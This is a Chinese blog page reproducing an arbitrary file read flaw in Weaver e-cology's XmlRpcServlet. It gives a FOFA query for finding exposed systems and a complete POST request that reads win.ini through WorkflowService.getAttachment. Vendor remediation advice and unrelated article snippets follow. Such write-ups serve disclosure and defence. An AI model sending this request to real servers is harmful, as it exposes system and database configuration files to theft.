当前位置： 首页 > news >正文

泛微e-cology XmlRpcServlet文件读取漏洞复现

news 2026/5/13 23:25:11

漏洞介绍

泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微OA E-Cology 平台XmRpcServlet接口处存在任意文件读取漏洞，攻击者可通过该漏洞读取系统重要文件 (如数据库配置文件、系统配置文件) 、数据库配置文件等等，导致网站处于极度不安全状态。

FOFA

app=“泛微-OA（e-cology）”

漏洞复现

读取win.ini文件

POST /weaver/org.apache.xmlrpc.webserver.XmlRpcServlet HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/xml
Accept-Encoding: gzip
Content-Length: 218
Connection: keep-alive<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>WorkflowService.getAttachment</methodName>
<params>
<param>
<value><string>c://windows/win.ini</string></value>
</param>
</params>
</methodCall>

在这里插入图片描述
对返回的密文进行解码
在这里插入图片描述

修复建议

官方已修复该漏洞，请用户联系商修复漏洞: https://www.weaver.com.cn/cs/securityDownload.htm
通过防火墙等安全设备设置访问策略，设置白名单访问。
如非必要，禁止公网访问该系统.

相关文章：

泛微e-cology XmlRpcServlet文件读取漏洞复现

漏洞介绍 泛微新一代移动办公平台e-cology不仅组织提供了一体化的协同工作平台,将组织事务逐渐实现全程电子化,改变传统纸质文件、实体签章的方式。泛微OA E-Cology 平台XmRpcServlet接口处存在任意文件读取漏洞&#xff0c;攻击者可通过该漏洞读取系统重要文件 (如数据库配置…...

编程日记 2023/12/22 15:00:39

当下流行的直播技术demo演示

nginx-http-flv-module&#xff08;更新不是很频繁&#xff09; SRS: https://ossrs.net/lts/zh-cn/&#xff08;独立官网&#xff0c;目前最新稳定版version5&#xff09; 基于SRS搭建直播demo演示&#xff1a; 一、搭建流媒体服务器 参见官网&#xff1a;https://ossrs.ne…...

编程日记 2023/12/22 14:59:38

Zabbix自动发现并注册已安装agent的主机

先在被监控主机上安装好zabbix-agent 然后登录zabbix网页 点击发现动作后会出现第三步 然后编辑操作&#xff0c;发现后加入到主机组群 然后编辑发现规则 然后就可以在主机列表中看到被发现的主机。...

编程日记 2023/12/22 14:58:37

Jtti：linux搭建开源ldap服务器的方法

搭建开源LDAP服务器是一种用于集中管理用户身份认证和授权信息的方法。在Linux系统上&#xff0c;OpenLDAP是一个流行的开源LDAP实现&#xff0c;可以用于搭建LDAP服务器。以下是搭建OpenLDAP服务器的基本步骤&#xff1a; 步骤一&#xff1a;安装OpenLDAP 安装OpenLDAP软件包&…...

编程日记 2023/12/22 14:57:36

Gazebo GUI模型编辑器

模型编辑器 现在我们将构建我们的简单机器人。我们将制作一个轮式车辆&#xff0c;并添加一个传感器&#xff0c;使我们能够让机器人跟随一个斑点&#xff08;人&#xff09;。 模型编辑器允许我们直接在图形用户界面 &#xff08;GUI&#xff09; 中构建简单的模型。对于更复…...

编程日记 2023/12/22 14:55:34

pycharm运行正常，但命令行执行提示module不存在的多种解决方式

问题描述 在执行某个测试模块时出现提示&#xff0c;显示自定义模块data不存在&#xff0c;但是在PyCharm下运行正常。错误信息如下&#xff1a; Traceback (most recent call last):File "/run/channelnterface-autocase/testcases/test_chanel_detail.py", line 2…...

编程日记 2023/12/22 14:54:34

GBASE南大通用GBase 8a ODBC的安装文件

GBASE南大通用GBase 8a ODBC 体系结构是基于五个组件&#xff0c;在下图中所示&#xff1a; GBase 8a ODBC 体系结构图  应用 应用是通过调用 ODBC API 实现对 GBase 数据访问的程序。应用使用标准的 ODBC 调用与驱动程序管理器通信。应用并不关心数据存储在哪里&#xff…...

编程日记 2023/12/22 14:53:32

重新配置torch1.8 cuda11.1 torchtext0.9.0虚拟Pytorch开发环境

这里写目录标题 起因发现选择安装cuda 11.1核对下自己的显卡是否支持下载该版本的CUDACUDA下载地址CUDA安装过程 在anaconda中创建一个虚拟环境1.以下是环境的配置过程2.查看虚拟环境列表3.激活虚拟环境 安装torch和torchtext包的过程1.输入下面这句代码&#xff0c;就可以直接…...

编程日记 2023/12/22 14:52:32

【动画图解】一次理清九大排序算法！面试官问到再也不慌！

排序算法 交换排序 冒泡排序快速排序 插入排序 直接插入排序希尔排序 选择排序 简单选择排序堆排序 归并排序基数排序桶排序 一、冒泡排序 冒泡排序是一种简单的交换排序算法&#xff0c;以升序排序为例&#xff0c;其核心思想是&#xff1a; 从第一个元素开始&#xff0c…...

编程日记 2023/12/22 14:51:31

组播地址段及其作用

作用 组播(Multicast)传输:在发送者和每一接收者之间实现点对多点网络连接。如果一台发送者同时给多个的接收者传输相同的数据&#xff0c;也只需复制一份的相同数据包。它提高了数据传送效率。减少了骨干网络出现拥塞的可能性。 地址段 组播协议的地址在 IP 协议中属于 D 类…...

编程日记 2023/12/22 14:43:24

Vue+ElementUI前端添加展开收起搜索框按钮

1、搜索框添加判断 v-if"advanced" <el-form-item label"创建日期" v-if"advanced"><el-date-pickerv-model"daterangeLedat"size"small"style"width: 240px"value-format"yyyy-MM-dd"type&q…...

编程日记 2023/12/22 14:41:22

速盾网络：sdk游戏盾有什么作用？

速盾cdn是一款非常优秀的CDN加速服务&#xff0c;它能够帮助游戏开发者们提升游戏的性能和稳定性。其中&#xff0c;速盾cdn的sdk游戏盾是其一项非常实用的功能&#xff0c;它能够为游戏提供更加稳定和快速的网络连接。 首先&#xff0c;让我们来了解一下什么是sdk游戏…...

编程日记 2023/12/22 14:39:21

理解BeEF的架构

BeEF的组件和工作原理BeEF&#xff08;The Browser Exploitation Framework&#xff09;是一款用于浏览器渗透测试和漏洞利用的强大工具。它由多个组件组成&#xff0c;这些组件协同工作以实现对受害者浏览器的控制和攻击。本文将深入探讨BeEF的各个组件和其工作原理&#xff0…...

编程日记 2023/12/22 14:36:18

esp32-s3训练自己的数据进行目标检测、图像分类

esp32-s3训练自己的数据进行目标检测、图像分类 一、下载项目二、环境三、训练和导出模型四、部署模型五、存在的问题 esp-idf的安装参考我前面的文章&#xff1a; esp32cam和esp32-s3烧录human_face_detect实现人脸识别 一、下载项目 训练、转换模型&#xff1a;ModelAssist…...

编程日记 2023/12/22 14:35:18

华为设备VRP基础

交换机可以隔离冲突域&#xff0c;路由器可以隔离广播域&#xff0c;这两种设备在企业网络中应用越来越广泛。随着越来越多的终端接入到网络中&#xff0c;网络设备的负担也越来越重&#xff0c;这时网络设备可以通过华为专有的VRP系统来提升运行效率。通用路由平台VRP&#xf…...

编程日记 2023/12/22 14:33:16

论文笔记 | ICLR 2023 WikiWhy：回答和解释因果问题

文章目录 一、前言二、主要内容三、总结🍉 CSDN 叶庭云：https://yetingyun.blog.csdn.net/ 一、前言 ICLR 2023 | Accept: notable-top-5%：《WikiWhy: Answering and Explaining Cause-and-Effect Questions》 一段话总结：WikiWhy 是一个新的 QA 数据集，围绕一个新的任务…...

编程日记 2023/12/22 14:31:14

LC24. 两两交换链表中的节点

代码随想录 class Solution {// 举例子:假设两个节点 1 -> 2// 那么 head 1; next 2; next.next null// 那么swapPairs(next.next),传入的是null,再下一次递归中直接返回null// 因此 newNode null// 所以 next.next head; > 2.next 1; 2 -> 1// head.next…...

编程日记 2023/12/22 14:30:13

使用redis-rds-tools 工具分析redis rds文件

redis-rdb-tools安装部署及使用 发布时间&#xff1a;2020-07-28 12:33:12 阅读&#xff1a;29442 作者&#xff1a;苏黎世1995 栏目&#xff1a;关系型数据库 活动&#xff1a;开发者测试专用服务器限时活动&#xff0c;0元免费领&#xff0c;库存有限&#xff0c;领完即止&…...

编程日记 2023/12/22 14:26:09

C# Onnx yolov8 plane detection

C# Onnx yolov8 plane detection 效果 模型信息 Model Properties ------------------------- date&#xff1a;2023-12-22T10:57:49.823820 author&#xff1a;Ultralytics task&#xff1a;detect license&#xff1a;AGPL-3.0 https://ultralytics.com/license version&am…...

编程日记 2023/12/22 14:21:04

Oracle定时任务的创建与禁用/删除

在开始操作之前&#xff0c;先从三W开始&#xff0c;即我常说的what 是什么&#xff1b;why 为什么使用&#xff1b;how 如何使用。 一、Oracle定时器是什么 Oracle定时器是一种用于在特定时间执行任务或存储过程的工具&#xff0c;可以根据需求设置不同的时间段和频率来执行…...

编程日记 2023/12/22 14:17:59

基于OpenClaw的AI智能体脚手架Tradeclaw：构建跨境贸易决策支持系统

1. 项目概述&#xff1a;为跨境贸易打造的AI智能体脚手架如果你正在从事跨境电商或外贸采购&#xff0c;每天面对海量的产品信息、繁杂的供应商数据和模糊的市场信号&#xff0c;感觉像在信息海洋里盲目捕捞&#xff0c;那么Tradeclaw这个项目可能就是为你量身定制的“数字捕手…...

编程新知 2026/5/13 22:10:27

如何高效评估ChatGLM3对话系统：全面测试用户体验与任务成功率的实用指南

如何高效评估ChatGLM3对话系统&#xff1a;全面测试用户体验与任务成功率的实用指南 【免费下载链接】ChatGLM3 ChatGLM3 series: Open Bilingual Chat LLMs | 开源双语对话语言模型 项目地址: https://gitcode.com/gh_mirrors/ch/ChatGLM3 ChatGLM3作为开源双语对话语言…...

编程新知 2026/5/13 19:52:53

Halo Cursor：轻量级框架无关的动画光标库设计与实践

1. 项目概述&#xff1a;一个轻量、无框架绑定的动画光标库最近在重构一个前端项目&#xff0c;想给用户界面增加一点微妙的动态反馈&#xff0c;提升交互的精致感。我第一个想到的就是自定义光标效果。市面上这类库不少&#xff0c;但要么体积臃肿&#xff0c;要么和特定框架&…...

编程新知 2026/5/13 18:52:20

为初创团队搭建统一的大模型api网关以控制开发成本

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 为初创团队搭建统一的大模型API网关以控制开发成本 对于初创技术团队而言&#xff0c;快速验证产品想法、迭代功能是生存的关键。在…...

编程新知 2026/5/13 18:01:39

【Gemini JavaScript开发支持终极指南】：20年谷歌AI工程师亲授7大避坑法则与实时调试秘技

更多请点击&#xff1a; https://intelliparadigm.com 第一章&#xff1a;Gemini JavaScript开发支持概览 Gemini API 的 JavaScript 集成能力 Google Gemini 提供了官方 Node.js SDK&#xff08; google/generative-ai&#xff09;&#xff0c;支持在服务端与浏览器环境中调…...

编程新知 2026/5/13 17:04:56

CircuitMaker免费PCB设计工具：从开源协议到实战避坑指南

1. 从“Freemium”到“全免费”&#xff1a;CircuitMaker的定位之变与我的选择时间过得真快&#xff0c;距离Altium首次推出免费的CircuitMaker工具&#xff0c;仿佛就在昨天。我记得当时业界一片哗然&#xff0c;大家都在讨论这家以高端、专业的Altium Designer闻名的公司&…...

编程新知 2026/5/13 16:18:05

C语言--day14

指针的常见操作 指针变量&#xff0c;有两方面的意思 一个指针指向的内容(数据值&#xff0c;一级) 指针变量本身存储的数据 (地址值) #include <stdio.h> int main() {int a 10;int b 0 ;int c 50;int *p NULL;int *q NULL;p &a; // 对指针变量本身进行修改…...

编程新知 2026/5/13 15:00:06

告别手动建模！用ArcGIS+SWMM+慧天平台，5步搞定城市内涝模拟（附实战数据）

城市内涝模拟实战&#xff1a;ArcGISSWMM慧天平台高效协同工作流 暴雨过后街道成河、地下车库变泳池的场景&#xff0c;已成为许多城市规划者和工程师的噩梦。传统的内涝模拟方法需要手动处理海量管网数据&#xff0c;不仅耗时费力&#xff0c;还容易在数据转换过程中丢失关键信…...

编程新知 2026/5/13 14:55:42

如何用wxlivespy实现微信视频号直播数据实时抓取与分析

如何用wxlivespy实现微信视频号直播数据实时抓取与分析 【免费下载链接】wxlivespy 微信视频号直播间弹幕信息抓取工具 项目地址: https://gitcode.com/gh_mirrors/wx/wxlivespy wxlivespy是一款专业级的微信视频号直播间弹幕信息抓取工具&#xff0c;能够实时捕获弹幕、…...

编程新知 2026/5/13 14:19:22

Hydrin 1 ([Arg8, Gly10, Lys11, Arg12]-Vasotocin)

一、基础信息多肽名称&#xff1a;Hydrin 1&#xff0c;加压催产素变体 [Arg8, Gly10, Lys11, Arg12]-Vasotocin 三字母序列&#xff1a;Cys-Tyr-Ile-Gln-Asn-Cys-Pro-Arg-Gly-Gly-Lys-Arg 单字母序列&#xff1a;CYIQNCPRG GKR 氨基酸数目&#xff1a;12 aa 结构特征&#xff…...

编程新知 2026/5/13 14:19:11